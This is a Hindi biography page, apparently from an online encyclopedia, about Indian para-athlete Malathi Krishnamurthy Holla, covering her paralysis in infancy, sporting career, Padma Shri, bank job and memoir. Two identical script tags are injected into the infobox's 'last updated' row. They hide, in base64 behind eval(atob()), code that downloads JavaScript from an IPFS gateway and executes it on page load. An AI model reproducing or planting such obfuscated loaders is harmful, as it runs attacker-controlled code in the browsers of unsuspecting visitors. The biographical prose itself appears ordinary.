मलाथी कृष्णामूर्ति हॉला
मलाथी कृष्णामूर्ति हॉला
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पूरा नाम | मलाथी कृष्णामूर्ति हॉला |
जन्म | 6 जुलाई, 1958 |
जन्म भूमि | बंगलौर, कर्नाटक |
कर्म भूमि | भारत |
पुरस्कार-उपाधि | पद्म श्री (2001) |
प्रसिद्धि | पैरा एथलीट |
नागरिकता | भारतीय |
अन्य जानकारी | मलाथी सिंडिकेट बैंक में मैनेजर के तौर पर काम करती हैं। वह अपने 6000 बैंक कस्टमर्स का अकाउंट नंबर याद रख सकती हैं। |
अद्यतन | 15:56, 17 जनवरी 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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मलाथी कृष्णामूर्ति हॉला (अंग्रेज़ी: Malathi Krishnamurthy Holla, जन्म- 6 जुलाई, 1958, बंगलौर) भारत की पैरा एथलीट हैं। अपनी उपलब्धियों के लिए उन्हें पद्म श्री (2001) व अर्जुन पुरस्कार से सम्मानित किया गया है। उन्होंने साउथ कोरिया, बार्सिलोना, एथेंस और बीजिंग में हुए पैराओलंपिक, बीजिंग, बैंकॉक, साउथ कोरिया, कुआला लंपर में हुए एशियन गेम्स और डेनमार्क और ऑस्ट्रेलिया में हुए वर्ल्ड मास्टर्स, ओपेन चैंपियनशिप और कॉमनवेल्थ गेम्स में भारत का प्रतिनिधित्व भी किया है।
परिचय
अक्सर लोग अपनी शारीरिक अक्षमता का रोना रोते हैं। यहां तक की जो लोग स्वस्थ हैं वो भी अपनी असफलता का दोष किस्मत को ही देते हैं। ऐसे लोगों को मलाथी कृष्णामूर्ति हॉला से सबक लेना चाहिए। पूरा शरीर लकवाग्रस्त होने के बावजूद भी इन्होंने अपनी किस्मत को कभी दोष नहीं दिया और न ही कभी हार मानी। अपने मेहनत के दम पर इन्होंने अपनी सफलता की कहानी गढ़ी है।[1]
मलाथी कृष्णामूर्ति हॉला का जन्म 6 जुलाई, 1958 को बंगलौर में हुआ। उनके पिता एक छोटा सा होटल चलाते थे और उनकी मां घर पर रहकर अपने 4 बच्चों की देखभाल करती थीं। जब मलाथी कृष्णामूर्ति हॉला एक साल की थीं तो उन्हें तेज बुखार हुआ। जब तक उनके परिवार वाले कुछ समझ पाते, उनके पूरे शरीर को लकवा मार गया। लगातार 2 साल तक बिजली के झटके देकर उनका इलाज करने पर उनके ऊपरी हिस्से में तो इसका प्रभाव पड़ा, लेकिन कमर से नीचे का हिस्सा लकवाग्रस्त ही रह गया। मगर मजबूत इरादों वाली मलाथी ने हार नहीं मानी और खेलों को ही अपने दर्द की दवा बना लिया। आज वह भारत की प्रेरणादायक खिलाड़ियों में से एक हैं।
गजब की याद्दाश्त
मलाथी सिंडिकेट बैंक में मैनेजर के तौर पर काम करती हैं। अपनी परेशानियों से जूझती फिर भी इरादों से मजबूत ये महिला अपने दोस्तों की मदद से 'माथरु फाउंडेशन' भी चलाती हैं जो अभी 16 शारीरिक रूप से अक्षम बच्चों को आश्रय देता है। ये भी इनकी एक उपलब्धि ही कही जाएगी कि इनकी याद्दाश्त भी बहुत अच्छी है। मलाथी कृष्णामूर्ति हॉला अपने 6000 बैंक कस्टमर्स का अकाउंट नंबर याद रख सकती हैं।[1]
अ डिफरेंट स्पीरिट
8 जुलाई, 2009 को मलाथी कृष्णामूर्ति हॉला ने अपनी पहली जीवनी 'अ डिफरेंट स्पीरिट' लोगों के सामने प्रस्तुत की। जिसमें उन्होंने अपने जीवन के सारे पहलुओं को लोगों के सामने खोलकर रखा है।
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टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 शारीरिक रूप से अक्षम इस महिला के जज्बे को कीजिए सलाम (हिंदी) amarujala.com। अभिगमन तिथि: 17 जनवरी, 2022।
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